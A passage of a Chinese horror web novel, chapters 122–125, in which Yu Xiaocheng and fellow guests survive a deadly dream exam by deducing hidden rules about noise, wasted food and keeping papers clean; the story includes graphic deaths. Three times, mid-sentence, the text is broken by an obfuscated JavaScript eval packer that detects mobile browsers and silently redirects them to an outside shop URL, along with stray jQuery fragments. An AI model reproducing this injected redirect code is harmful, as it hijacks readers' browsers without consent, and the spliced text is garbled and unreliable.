忽然黑暗中亮起一个光点,俞小澄不由自主向着光源处望去,只见一个无脸考生不知从哪里拿出一支蜡烛,立在桌上点燃,毅然埋头做起了试卷。 俞小澄哭笑不得,这是什么卷王,都这种情况了,还顾着做试卷,实在令人佩服。 俞小澄觉得突然的断电只是想来个出其不意,吓大家一跳,显然当大家都知道出声是禁忌后,这招便就显得不够高明了。 正暗笑恶灵的失算时,昏暗的房中忽然传来接二连三的尖叫声。 122. 梦境(五) 有人从座位上站了起来,惊恐的尖叫声在黑暗中回响、加剧,桌椅当场被撞翻倒地,发出巨大动静,随即滋滋声作响,沉闷的呻吟声潜藏其中,只消片刻,便没了动静。 四周正发生着什么古怪的事,却被眼前的黑暗隐藏的踪迹。 俞小澄动作僵硬不敢动弹,心跳声震得她一阵耳鸣。 明明密闭的房间中,烛光竟在黑暗中不断摇曳,就像有人用手拨弄着火苗一般。那火光实在微弱了些,只能照亮半张桌面,在诺大的空间中,显得渺小无比。 俞小澄捂住嘴,不敢发出声音,纵然想问旁人究竟发生了何事,也只能憋回肚子里。 莫非恶灵开始无差别攻击了? 不对,恶灵理应遵守旅店规则,玩家如果没有违规,便无法对玩家下手才对。 一番沉思后,俞小澄调整呼吸,试图让自己冷静下来。 是的,只要保持安静,恶灵就无法对自己动手才对。 “招财,你在房中有发现什么不应该存在的东西吗?”逐渐归于平静的俞小澄想起向招财求证。 招财声音疑惑地回答:“没有,我只看到考生就跟中了邪一样,突然惊慌失措地想要逃离,然后就被电死了。” 和俞小澄预想的一样,兴许恶灵让大家看到了某些可怕的幻觉,所以才有人中招倒地。 如此一想,俞小澄心中有了明确的方向,深吸几口气,靠着椅背端坐在黑暗中,双手抱臂,紧闭眼睛,一副任谁来了都不好使的姿态。 时间过得很慢,俞小澄有种煎熬的感觉。 过了好一会儿,房间内逐渐没了动静,就算偶尔有人遭遇什么,也只是发出微弱的响动,似乎并不足以触发杀人的条件。 不管是什么手段,往往出其不意时最行之有效,一旦众人缓过神,意识到这些手段的目的,它就会变得平平无奇。 此刻便是如此,大概考生渐渐意识到黑暗中并不存在真实的东西,真正的目的也是为了引诱考生制造出噪音,因此,理智终于战胜了对未知的恐惧。 就在俞小澄焦虑地等待这场卑鄙的行动结束时,一只手轻轻搭在了她的肩上,温润的鼻息靠近耳边,熟悉的声音带着压抑的情绪在她耳边响起。 “学姐,这是不是你在找的东西?” 俞小澄心中惊异,不知吴樊祐话中含义,更不知为何吴樊祐会站在自己身后。 他什么时候离开座位的? 俞小澄感觉好像没有听到过周围动静。 她疑惑地睁开眼睛,想招呼吴樊祐回位子,可睁开双眸的第一眼,她感觉到光亮,离自己仅有半臂距离。 她的桌上此刻似乎放着什么东西,在如此黑暗的环境中,竟似自身泛着微光,清晰地映入俞小澄瞳孔之中。 那是一封皱巴巴的书信,信纸上留有水渍,模糊了信上文字,俞小澄一眼瞥见第一行的称呼,那里写着“澄澄”二字。 心上一阵痛楚,激得她浑身肌肉紧绷,身子不由自主后仰,紧闭双眼,试图远离。 这封信竟看起来有些熟悉,她明明没有这种记忆,偏偏信上的内容疯狂地窜进她脑海里,信纸末尾的署名,信中绝望的言辞……就像是印刻在她脑子里,只需要一个关键字,便可轻易搜索出全文。 俞小澄只觉心颤不已,嘴里低声反复念着:“不是真的,都是幻觉……不是真的,都是幻觉……” 一些被遗忘的记忆,碎片式地在眼前闪过,小姨憎恨的眼神,扔在桌上的书信,空无一人的房间,母亲的遗像…… 她对回想产生抗拒,身体像是得到命令想要逃离,可脚刚移动一步,金属摩擦声惊醒了大脑,凌乱渐渐褪去,理智制止了她的行为。 这是陷阱…… 俞小澄动作停滞,胸口剧烈起伏,呼吸无比急促,只见自己一只腿已经跨出桌椅,一只腿还留在桌下,身子将起未起,悬于座椅之上,座椅倾斜而起,正在往后倒的途中,俞小澄的一只手紧紧抓住椅背,以不舒服的姿势维持住了平衡。 豆大的汗水顺着脸颊滑到下颌,然后从领口偷偷溜进了胸口。 黑暗之中,俞小澄看不到分贝仪的数值,浑身因恐惧而麻木,她不敢移动,静静地愣了片刻,直到确定方才的响动没有超标,这才一点一点调整姿势,重新坐回了位子上。 长舒一口气,俞小澄感觉自己刚在鬼门关走了一遭,大概晚一秒回过神来,此时已经成了倒地的尸体。 又过片刻,头顶的灯闪烁几下,便陆续亮了起来,环视四周,只见考场内倒了六张桌椅,地上还躺着六具尸体。 万幸,里面没有住客。 监考官冷漠地将尸体扔出考场,将方才的熄灯归结于电压不稳,然后让大家继续专注考试,并表示可以提前交卷。 当然,考场内并没有人应声而动。 有的人是真的还在奋笔疾书,做不了提前交卷的大神;有的人是担心有诈,谨慎地选择不做出头鸟;还有人是害怕站起身,会无法避免地发出响动,因而选择按兵不动。 俞小澄便属于第三类,对方才自己险些中招一事心有余悸。 此时桌上什么都没有,而吴樊祐依然趴在桌子上睡觉,似乎从未动过。 果然是恶灵的花招…… 俞小澄不禁想着,兴许恶灵就是让大家在黑暗中看到了恐惧的一幕。 可她害怕的是什么呢? 是回忆吗? 她究竟做过什么连自己都难以接受的坏事呢? 脑子里乱成一团,反观吴樊祐却是一副置身事外悠然自得的状态,俞小澄不由得心生羡慕。 之后,考场时不时又会出现一些吓人的小把戏,什么考场失火、地震预警、什么离开梦境的通道……全都只是为了骗人离开座位的陷阱罢了。 这种伎俩使多了,考生便麻木了,接下来的时间不再有人出局,而倒计时结束,第一场考试终于落幕。 考场大门再次出现,死里逃生的住客纷纷走出考场,重新回到了只有一条前进路线的走廊之中。 头顶的格栅灯依旧照得整条走廊清冷一片,走廊两边墙上的光荣榜依然诡异瘆人,令人不想在走廊里多作停留。 走廊的尽头只有一扇门,推门而入,便进入了食堂。 这食堂看上去十分普通,就像是进入任何一所大学都能见到的场景,整齐的长桌加座椅,四个特色窗口,分类供应面食、素食、荤食和套餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126217|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 四周墙上贴着红色的宣传海报,上面以各种图文形式宣传着一句标语——浪费可耻。 还未到用餐时间,四个窗口空荡荡的,于是食堂成了考生暂时的歇脚处。 那些无脸的考生三三两两坐在一处,有的谈论着方才试题的难度,有的则抛开考试聊天取乐,一切看上去就像是普通的大学生活,可那一张张没有五官的脸却无时无刻不在提醒俞小澄,梦境还在继续。 穷途旅店的住客围坐在一起,心情有些沉重,一开场就死了两人,剩下的九人谁也不知道接下来又会遭遇什么,下一个死的又会是谁。 这种不安的感觉萦绕在众人心上,让他们不敢有片刻松懈。 “小俞妹子,这一次,不找记忆之门也没关系,能尽快杀掉恶灵才是重中之重!”陈奇忍不住开了口。 任谁看来,这都是最快捷通关梦境的方式,当然,前提是尽可能快地找出恶灵的身份。 如果不到逼不得已,俞小澄并不想动用进宝的吞噬之力,因为那会使恶灵彻底失去离开的机会,不过既要寻找恶灵的身份,又要寻找消灭恶灵的道具,这显然无法一蹴而就。 留在梦境中的时间越长,玩家遇到危险的可能性就越高,谁都不知道什么时候可能会一脚踏入陷阱之中。 “对于恶灵的身份,你有什么看法?”俞小澄忧心忡忡。 陈奇抬头望向食堂一隅,那里坐着十个穿着统一的监考官,除了监考官一号说话时能通过声音分辨,其他时候只能通过衣服上的编号区分。 “这还不明显?”陈奇朝那群监考官方向努了努嘴。 陈奇的想法与俞小澄差不多,整个考场中的确要数这些考官最可疑。 俞小澄道:“可有什么对付得了考官呢?考场规则对他们也不适用。” “如果这里是学校,那就是校长最大咯,要对付考官,难道不该找校长么?”倪诗语答得理所当然。 “校长是道具?不会吧……”陈奇一脸难以苟同的表情。 俞小澄感觉这个思路挺有趣,未尝不是一种打破僵局的思考方式,问题是,他们能够行动的范围有限,要上哪儿去找校长? “万一整个梦境中就没有校长这种设定呢?”她不得不泼了一盆冷水。 “去问问不就知道了。” 方英彦有种无知者无畏的感觉,说完这句话,就径直起身朝监考官的方向走去,白羽楠想拦都拦不住。 众人紧张地看着方英彦走到监考官面前,说了几句话,又转身走了回来。 全程无事发生,让众人悬着的心又落回了原处,然后就听方英彦说道:“的确有校长,但是只有获得优秀学生称号的人才能见到校长。” 若真是如此,那还如何将校长作为武器?俞小澄感觉应该是方向错误,谨慎起见,还是请招财帮忙,去探一探整个梦境地图。 在食堂休息一段时间后,供餐窗口陆续出现了穿着制服的员工,无脸的考生纷纷选择窗口排起了长龙。 在吴樊祐的催促下,俞小澄选择在素食窗口拿了份蔬菜沙拉,寒梅梦境的压力让她实在没什么胃口。 然而这顿饭还未吃完,便有考生倒在食堂之中。 123. 梦境(五) 事情发生得十分突然,原本还在食堂内吃饭的考生,在吃完饭离开饭桌后没走几步,就口吐白沫倒地不起,不消片刻便没了气息。 这样的事短时间内接连发生了,众目睽睽下,四个考生就此没了命。 尚在吃饭的和刚准备起身的都愣住了,面色惨白地坐在位子上,谁也不敢上前查看究竟发生了何事。 接着,食堂里的考生议论纷纷,而原本悠然用餐的监考官暗骂一声“晦气”,放下碗筷便来处理尸体,和在考场时的操作一样,仅仅是简单地将尸体扔出了食堂大门,随即洗了洗手,回到原处继续吃饭。 “完了,饭菜里有毒!” 首先方寸大乱的是倪诗语,她碗盘里的饭菜刚吃了一半,筷子失手滑落,掉在地上蹦跳几下,发出几声脆响。 单浩言还算镇定,可面前的饭菜也不敢再动一筷子,默默放下筷子,冷静分析道:“如果饭菜里真有毒,吃都已经吃了,好像也来不及了,但为何只有那四人毒发身亡呢?” “可能是随机投毒吧!一定是这样!”章锐赶紧附和道。 与其说是安慰别人,不如说是安慰自己,他面前的饭菜已经所剩无几。 “恶灵杀人都有前提条件,玩家没有触犯规则,恶灵没道理随机杀人啊……”白羽楠一脸沉思。 方英彦脸色惨白,仿佛想要抓住一丝希望一般问道:“你们以前遇到过这种情况吗?” 最有发言权的陈奇摇了摇:“梦境中,吃饭和安全房一样,都是留给玩家养精蓄锐的时刻,通常都不会有危险,可那仅针对幽兰以下的梦境……” 陈奇说的没错,俞小澄自进入梦境后,也从未遇到过吃饭还需要提高警惕的情况,饱一顿饿一顿倒是有,吃饭能吃出人命还是头一回。 一直以来的惯性思维让他们麻痹大意了,没有意识到寒梅梦境应当时刻提高警惕。 白羽楠的话提醒了俞小澄,不可能有毫无章法的随机投毒,那四个中毒的考生必然是违反了某种规则。 可究竟是什么规则呢? 回想倒地的四人,他们唯一的共同点便是离开了座位,难道离开座位是禁忌? 细想之下又觉得不合理,如果离开座位是禁忌,那今日恐怕没人能活着走出食堂了。而且当时还有其他人站起了身,却并未出事,想来这个想法过于荒唐了些。 正在思考之时,沉默的人群中站起一个人,那人的穿着打扮看起来有些眼熟,俞小澄回想片刻,总算想起一点对此人的印象,似乎考场断电时,点亮蜡烛的正是此人。 虽看不见那人的表情,但他走路的姿态,给俞小澄一种镇定自若的感觉。 在万众瞩目下,那人慢步走出了食堂,并未有任何事发生。 “果然与离开座位无关……”俞小澄小声嘀咕。 “我们要不要走啊?”章锐有些沉不住气。 “要不你试试?”陈奇趁机怂恿道。 俞小澄一眼便看出陈奇在打什么主意,如今规则不明,能有更多参考物,自然更有利于判断局势,所以他想让章锐成为第一个扫雷的人。 单浩言没有给他这个机会,一掌压在正欲起身的章锐肩上,恨其不争似地瞪了章锐一眼,嘴里骂道:“食堂里这么多NPC,你着什么急!” 章锐憋得想骂人,却又无处发泄,干脆将气撒到了面前的饭菜上,索性埋头将剩下的一点残余全部塞进了嘴里。 “真亏你还吃得进去。”倪诗语一脸嫌弃。 章锐哪儿受得了初中生的气,当即不满地回怼道:“小丫头懂个屁,你爸妈没教你不要浪费食物吗?” “呵,不想浪费,那我的给送你。”倪诗语翻着白眼,说话有些没大没小。 接着两人便吵了起来,谁也不让谁,俞小澄实在是服气,在这种情况下还有闲心吵架。 一直没有出声的武明似乎也有些受不了吵闹,嗦完最后一根粉,故意咳嗽两声,打断了争吵的两人。 “我看你们就是想多了,寒梅梦境你们不是从未进过么?说不定这里就有这种随机死人事件,刚才那人能离开食堂,不就说明已经安全了么?” 武明自信地说着,“你们要等就继续等,老头我就不奉陪了。” 武明的眼神和言语中,毫不掩饰地流露出对年轻人畏首畏尾的轻蔑,说完这番话,便起身往大门走。 俞小澄想拦已经晚了,然后目送他昂首阔步离开了食堂。 “什么嘛!这不没事嘛?大惊小怪!” 有人开了个好头,章锐立马坐不住,推开单浩言阻拦的手,大摇大摆起了身,然后就像逃跑一般,冲出了食堂。 接连两人安然离开食堂,俞小澄明显感到四周的目光正向他们汇聚,虽然那些人的脸上没有眼睛,但俞小澄感受到了目光的灼热。 这些考生大概也在寻找实验体,来确保他们的行为不会出错。 一些大胆的人已经开始行动,一个接着一个的幸运生还者就此诞生,直到又有一人在起身走了两步后,便口吐白沫,浑身抽搐,倒在地上渐渐停止了呼吸。 然后,食堂内的人又重新回到了不敢轻举妄动的状态。 吴樊祐自打进了梦境,行事作风与以前多少有些变化,似乎有些消极应对,考试时倒头睡大觉,真不知道是一眼看穿规则,还是摆烂。 甚至平时最积极的吃饭环节,他也失去了兴致,听俞小澄说自己没有胃口,他也说自己没有胃口,面前只摆了一碗海鲜粥。 别人吃饭时,他一边用勺子搅动一边发呆,不知道脑子在思考什么,粥是一口都未动。 此时似乎终于从白日梦里醒过来,看了一眼俞小澄,道:“学姐还吃吗?不吃我们就走吧!”说着就要起身往外走。 他这一举动把俞小澄吓得不轻,方才没拦住武明是因为位置不方便,就在她身旁的人她哪里肯放手。 惊慌之下,她双手绕过吴樊祐腰间,一左一右紧抓吴樊祐的衣服,用力往下拉,手指带着衣服抠住椅子边。 吴樊祐顿时被控制在座椅上,身子弯出一道不舒服的弧度。 “学姐,你还想吃就直说,不用这么硬控我吧?” 吴樊祐的手将绷得笔直勒住后颈的衣服往上提了提,可俞小澄不放手,他根本坐不直身子。 在找出规则前,俞小澄不想让吴樊祐冒险,可以吴樊祐的性子,大约又要说自己是天选之人,铤而走险拉她往外走。 左思右想,竟想起了章锐的话,她灵机一动,胡搅蛮缠一般胡诌着理由:“你饭还没吃完,不许走!不准浪费食物!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130156|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴樊祐微微一怔,眼底游过一丝情绪,俞小澄没能读懂。 吴樊祐苦笑一声,抬手握住碗里勺子,然后示意俞小澄放手:“真是斗不过学姐,我吃总可以了吧?” 见吴樊祐放弃挣扎的模样,俞小澄这才松开了吴樊祐的衣服,有些尴尬地收回双手。 不过就在这个时候,俞小澄想到了什么,她伸长脖子往四周墙上看去,视线在一张张带着红字的宣传海报上扫过,心中顿生一个想法。 她又左顾右盼,目光在食堂桌上搜索。只见那几个没人的位子上,有着明显的区别,有人将饭菜吃得一干二净,也有人残余甚多。 “会不会……规则是将饭菜吃干净,不能浪费?”俞小澄大胆说出了自己的想法。 此话一出,在座的人不由自主地望向顺利离开食堂的二人原本所在的位子,不管是章锐的套餐,还是武明的番茄牛肉粉,都被吃得没有残留。 “好像真是这样!”白羽楠惊喜地叫道。 “真的假的……这剩饭我真的非吃不可吗……”倪诗语嫌弃地拨弄着碗盘中的饭菜,想着反正也是免费的,她选了不少荤食,如今已经有些吃不下了。 方英彦没比倪诗语好到哪儿去,大概他这样的明星习惯了浪费,拿了一桌子菜,如今只能含泪硬撑。 陈奇与单浩言轻松收拾了自己的残局,相视一眼,似乎都想让对方起身试试,却又谁都不肯成为实验小白鼠。 俞小澄将剩下的沙拉尽数吞进肚子里,竟有些庆幸自己胃口不好没有多拿。 吴樊祐始终一副心不在焉的模样,慢吞吞地吃着自己那碗海鲜粥。 倒是白羽楠第一个站了起来,俞小澄本想让她再等等,可她道了声“我相信小澄姐的判断”,便鼓起勇气往食堂大门走去。 俞小澄其实也不敢确定自己的推测一定正确,他们的确需要一个人站出来验证这种推测的正确性,可俞小澄没想让白羽楠成为这个实验体。 这样的心思让她有些愧疚,毅然起身追上白羽楠,二人拉着手一同往食堂外走去,走出几步没有异样,心中顿时松了一口气。 二人相视一笑,又冲尚在观察的人比了个OK手势,这时屏气凝神注视着二人的住客总算放宽了心。 陈奇和单浩言几乎同时站起身,而没有解决完饭菜的方英彦和倪诗语则彻底认命,拼命干饭。 只有吴樊祐依然沉默不语,也不回头看俞小澄,似乎与他那碗海鲜饭做着思想斗争。 “觉不觉得吴樊祐那小子怪怪的?” 白羽楠一边拉着俞小澄往门外走,一边频频回头,说出了自己的疑虑。 “嗯……”俞小澄心里有些不是滋味,“进入梦境前,他说的话就很奇怪,仿佛提早预知了当晚的梦境,态度过于平淡。” “会不会是强撑?进入梦境,预感难以寻到记忆之门,没法离开旅店,所以才沮丧摆烂?” 白羽楠的话像提醒了俞小澄,竟让她觉得有几分道理。 他这是有多想快点回归原本的生活啊! 他现在应该很不安吧? 之前还故作坚强安慰她,而她只想着离开梦境,都没考虑过丧失离开旅店机会的他。 看来还是得尽力找找记忆之门啊! 俞小澄如是下了决心。 124. 梦境(五) 走廊尽头的房门紧闭着,似乎上了锁,而此前走出食堂的人正靠墙席地而坐,没有说话,只是安静地等待着。 时间还不到下午一点,距离考试时间还有一个多小时,俞小澄和白羽楠走到走廊尽头,学着其他人的样子靠着墙边坐下,心中不免好奇下一场考试又会是怎样的规则。 考生陆续从食堂大门走出,倪诗语和方英彦捂着胃,一脸痛苦地向众人走来,吴樊祐落在最后,眉头紧锁,不知在思考何事。 见俞小澄招了招手,吴樊祐顺从地挪到了俞小澄身边坐下。 俞小澄打气似地拍了拍他的肩,强颜欢笑道:“别这么快放弃,一定还有机会!” “啊?什么机会?”吴樊祐竟露出一个心事被人看破的慌张神情。 白羽楠替俞小澄解释道:“小澄姐心善,这种时候还想着帮你找记忆之门呢!你喃,别一直丧着一张脸,影响大家情绪!” 吴樊祐微微愣了愣神,随即噗嗤一声笑了出来:“原来是这个机会啊,我还……” 话说一半他便收了声,引得俞小澄一阵好奇,怀疑自己猜错了吴樊祐的心思。 “你以为是什么?”俞小澄忍不住追问。 “没什么,多谢小俞老师关心。”吴樊祐没有将话题继续下去,话锋一转道,“对了,上一场考试,熄灯时你们看到了什么?” 白羽楠像是经他提醒,想起了恐怖的回忆,缩着身子打了个寒颤,说:“这恶灵真是歹毒,为了吓人不遗余力啊,居然连幻觉都使出来了。” “果然都是幻觉……”俞小澄小声嘀咕。 “我感觉应该是我们内心所畏惧的东西。”白羽楠的手指纠缠在一起,似乎对于那段记忆十分纠结,“我看到女鬼来找我索命……” 只是简单一句话,似乎花费了白羽楠全部的勇气,看她的状态,俞小澄猜测她看到的那个女鬼,恐怕就是她的心结,那个害她成为小三的男人的倒霉妻子。 俞小澄轻轻搂住白羽楠的肩,安抚着白羽楠的情绪,“都是幻觉罢了,没有人能伤害你,就算这世上真有鬼魂,那也不可能找你,而是找那个真正的坏人。” 白羽楠回以微笑,吴樊祐却不合时宜地追问俞小澄看到了什么。 俞小澄此刻简直生出一股刀人的心思,怒瞪了吴樊祐一眼,无奈地与白羽楠对视一眼,白羽楠的眼神里仿佛写着——不要与笨蛋较真。 至于俞小澄当时看到的东西,她并不想说,就像在欧山房间里看到的那个信封一样,她总想逃避这个话题。 她佯装一副回忆的模样,随口胡邹道:“哦,我啊,我看到吴樊祐举着刀子向我靠近,一副要取我狗命的狠毒模样!” 说话间,她玩笑般瞥了一眼吴樊祐,想看看他气急败坏的样子。 然而吴樊祐的反应有些出乎意料,没有平日不正经的强辩,也没有一脸委屈的诉苦,而是一脸震惊的沉默。 玩笑太过火了吗? 俞小澄不由得担忧起来。 吴樊祐沉默良久,脸色严峻地问:“这是学姐害怕的事?” 俞小澄感觉自己玩脱了,慌张辩解:“怎么会,大概是恶灵会错意了……那你又看到了什么?” 转移话题的意图过于明显,转折过于生硬,俞小澄尴尬地笑了笑,好在吴樊祐没在这件事上继续纠缠,挠了挠头道:“我当时在睡觉,也没机会看到吧。” “那……没什么是你害怕的吗?” “嗯……害怕么……”吴樊祐做出一副思考状,片刻后以玩笑的口吻答道,“害怕得罪学姐算吗?” 俞小澄白了他一眼,不客气地回道:“对不起,没看出来,你在得罪人这条赛道上可谓是一骑绝尘!” 白羽楠赞同得连连点头,吴樊祐一点反省的意思都没有,客气道:“多谢学姐赞赏!” 气氛仿佛又恢复到往常模样,只是不经意间,俞小澄看见吴樊祐眼底隐藏的苦涩,如同一团晕染不开的颜料,始终不见消散。 距离14点还差15分钟时,考场的大门自动开启,几乎与上一个考场相同的布置呈现在众人眼前,原本应该身处食堂之中的十名监考官,不知何时已经转移到了考场内。 这一次,单浩言等人第一时间选好位子坐下,住客们几乎全聚在了考场左边靠墙的角落里。 俞小澄进门的第一件事,便是往讲台处的黑板看去,只见黑板上依然用红色油漆书写了几个醒目的文字,只是这一次的内容变为了“保持卷面整洁”。 “这能是什么规则?”俞小澄指了指黑板,提醒全员注意。 至今仍与考试扯得上关系的倪诗语说:“字面意思理解的话,就是不要胡乱涂抹试卷吧。” 章锐一脸心虚:“卧槽,写字丑应该不算犯规吧?” “哼,年轻人连字都写不好,能怪得了谁呢?”武明有些傲慢地说道,兴许多少带着点知识分子天生对于不学无术之人的鄙夷。 “死老头,你说什么呢?!你当心死在我前面!”章锐哪儿是服软的主,当即高声回怼道。 这种争吵毫无意义,俞小澄刚想出声喝止,方英彦忽然开口建议:“这有啥好吵的,找监考官问问不就好了嘛!” 不过他显然只打算成为提出建议的一方,而不打算成为付诸行动的一方。 因此,建议的话说出口后,方英彦微笑着看向俞小澄,似乎等待着俞小澄按他说的行事,一副习惯了使唤人的模样。 俞小澄觉得,或许他如此考量还有另一层原因,距离开考时间所剩不多,他当心再遇上第一场考试那样的情况。 有时候俞小澄真看不懂,这个人究竟是愚蠢还是精明。 没有浪费时间跟他理论,俞小澄正好也有问题想打探,便迅速起了身,然后绕着考场转了一圈,将十名监考官问了个遍。 至于她的问题,不止关于考场纪律,还有关于恶灵,她向每一个监考官询问了一个问题——对你来说最重要的是什么? 兴许能从他们的答案中找到关于恶灵与记忆之门的蛛丝马迹。 每个监考官的答案各异,有些回答甚至让人无语。 一号:“最重要的当然是维护考场秩序!” 二号:“那肯定是学校荣誉。” 三号:“是考生无疑!” 四号:“嘿嘿,工资福利最重要。” 五号:“校长就是我爹。” 六号:“学校是我家!” 七号:“重要的是女儿。” 八号:“升职加薪。” 九号:“我只爱我自己!” 十号:“最重要的是世界和平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149044|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 抽象,实在太抽象了! 俞小澄一脸痛苦面具,感觉自己多此一举,这些NPC就跟耍她一样,她就是想挨个尝试其中有没有记忆之门的钥匙,也无从下手。 苦着一张脸回到座位,考试即将开始,一众玩家一脸焦急地望着俞小澄,感受到目光的灼烧,俞小澄才想起此行的目的,忙不迭说道: “那些监考官只回了我一句话——你试试就知道了。” “妈的,试试就逝世……”章锐小声抱怨。 写字丑这个烦恼大概也就章锐独一份。 倒计时准时启动,十位监考官又开始分发试卷和笔,这一次不再是按压式中性笔,而是钢笔,并且还给每人发了一瓶墨水,怎么看怎么诡异。 俞小澄翻看试题,这次考的是英语。 她感觉猜也能猜对几道题,可是真的就只是做题吗?她拿起试卷翻来覆去,想从试卷上找到一些提示,可似乎真就是一份普普通通的英语试题。 在俞小澄无比纠结地研究试卷时,也有人跟她一般纠结,比如章锐。 他这时正焦头烂额地盯着试卷,恐怕连字母都认不全,然后伏在桌上,偷偷摸摸朝身后的单浩言挤眉弄眼,无声地做着口型:“让我抄抄!” 单浩言并未动笔,而是谨慎地四处张望。 同样不动笔而选择观察的还有陈奇,他一脸老谋深算的模样,静静观察着他人,仿佛在等待坏事发生。 见单浩言指望不上,章锐又将希望投向倪诗语,可惜倪诗语跟他一样看见英语就头疼,此刻也四处寻找着救星。 方英彦有种迷之自信,四处询问着有没有人需要他提供答案,顺带再吹嘘一番自己海归的身份,不过作为帮忙的条件,他要大家今后如果在网上看到他的负面新闻,一定要帮他控评。 有这种好事送上门,章锐和倪诗语自然来者不拒,先答应下来再说。 方英彦还不满足,又转向俞小澄、白羽楠和吴樊祐。 吴樊祐跟上场考试一样,又开启了睡觉模式,对方英彦的呼唤不予理睬。 比起方英彦的答案,俞小澄更在意监考官的反应,方英彦这么明目张胆的交流,会不会被判作弊? 监考官始终没有反应,俞小澄刚刚松了一口气,又发现白羽楠表情不太对劲,作为方英彦的狂热粉丝,她的态度似乎冷淡了些。 只见白羽楠表情犹豫,纠结了片刻才道:“我有个疑问,保持卷面整洁,会不会连写字也被算在不整洁之列?” 方英彦:“哈哈,不至于吧……” 倪诗语:“条件这么苛刻还让不让人活了?” 章锐:“喂!别制造恐慌行不行!” 俞小澄此刻却感觉浑身一激灵,视线随即落在了那些对英语无比自信并且已经开始动笔的人身上,就比如作为知识分子的武明。 他们写字的手一刻不停,俞小澄感觉从桌面传来细微震动的感觉,放在桌上的钢笔随之发生了不易察觉的偏移。 “别、别动……” 俞小澄的声音尚在喉咙里,考场内顿生异变。 只见奋笔疾书的十来个考生头顶天花板忽然落下一根腰粗的柱子,以迅雷不及掩耳之势,瞬间将考生连同桌椅砸成了肉饼,带着黏稠血浆的肉泥溅了周围人一身。 125. 梦境(五) 事发突然,周围爆发出阵阵尖叫声,而这场异变似乎引发了连锁反应,一些被血浆溅了一身的考生头顶同样砸下一根柱子,如此向外扩散…… “试卷!” 在慌乱的环境中,俞小澄扯着嗓子大叫了一声。 绝大多数人回过神来,护住试卷,远离了那如同病毒扩散一般的血腥战场。 章锐和倪诗语距离武明最近,两人身上都溅上了血污,万幸的是事发前他们将试卷递给了后排的方英彦,本是想偷懒省事,反倒救了他俩一命。 倪诗语被吓得不轻,瘫坐在地上半天回不过神。 连趴在桌上睡大觉的吴樊祐都被这一阵动静惊醒,露出一脸惊诧的表情。 “妈的,你乌鸦嘴真灵!”章锐大口喘着气,看似埋怨地冲白羽楠说了一句。 待到考场内的异变停止,那一根根柱子伴着微微震动缓缓收回天花板莫名出现的黑洞里,然后黑洞消失,天花板恢复了原样,而地上留下了一具具与废铁融合成一整片的尸体残骸。 那些尸体哪里还看得出原本的模样…… 空气中弥漫着令人作呕的血腥味,十名监考官捏着不存在的鼻子,强忍着呕心,从考场外拿来清扫工具,艰难地清理着黏在地上的尸骸。 大部分尸骨被清扫出大门,只留下一地的血迹。 监考官一号拍手提醒:“请考生回到自己位子,考试继续!” 俞小澄数了数方才遇难的考生,加上武明,考场内一时间少了十三人,属实有些惨烈。 时间才过了五分钟,剩下的人提心吊胆地回到自己的座位,有的人向监考官申请了抹布清理桌椅,监考官在这件事上还挺配合。 “我能申请换件衣服吗?哕……”倪诗语捂着嘴,几欲作呕。 “当然可以!”监考官爽快回答。 “那我也要!”章锐连忙站起身。 考官随即又表示,人可以离开考场去澡堂清洗一番,再换件干净的衣裳,但是考卷不能带离考场。 章锐忽然犹豫了,他扭头看了看方英彦,不太信任地问道:“你能帮我看好试卷吧?” “啊?不能保证,但我尽力!”方英彦微微一笑。 “就我们这一身脏,也拿不了试卷啊!大哥,你就当陪陪我,我一个人害怕!”倪诗语不耐烦地催道,然后拉上章锐就往门外跑。 待两人走后,俞小澄看到方英彦将自己的那份试卷夹在了另外两份之间。 “又要静坐到倒计时结束吗?”白羽楠转过身问俞小澄。 俞小澄看着一字未落的试卷心中犯难,道:“恐怕还没结束,别掉以轻心。” 俞小澄相信,与上一场考试一样,恶灵一定会想方设法让考生违规,在这场没有限制出局人数的梦境中,时刻都是危机四伏。 还有什么方式弄脏试卷呢? 俞小澄小心地将试卷藏于桌下,平铺在大腿上,眼睛不停观察着四周。 忽然瞥见一个在此情景下显得极其不协调的考生。 只见那人坐在考场另一个角落里,手里撑着透明雨伞,伏在桌上,雨伞将他大半个身子和课桌笼罩其中,抵着他后背的伞沿上搭着他的外套,形成半个雨帘。 俞小澄觉得那件外套有些眼熟,顿时想起那个点蜡烛的考生,连坐的位置都没变过。 “若是屋内下雨,他这防御怕是无懈可击。” 俞小澄心中如此感叹着,忽然意识到危机,慌忙喊白羽楠:“你的道具雨衣!” “啊?怎么了?这是室内。”白羽楠一头雾水。 “不是我用,用来包试卷。” 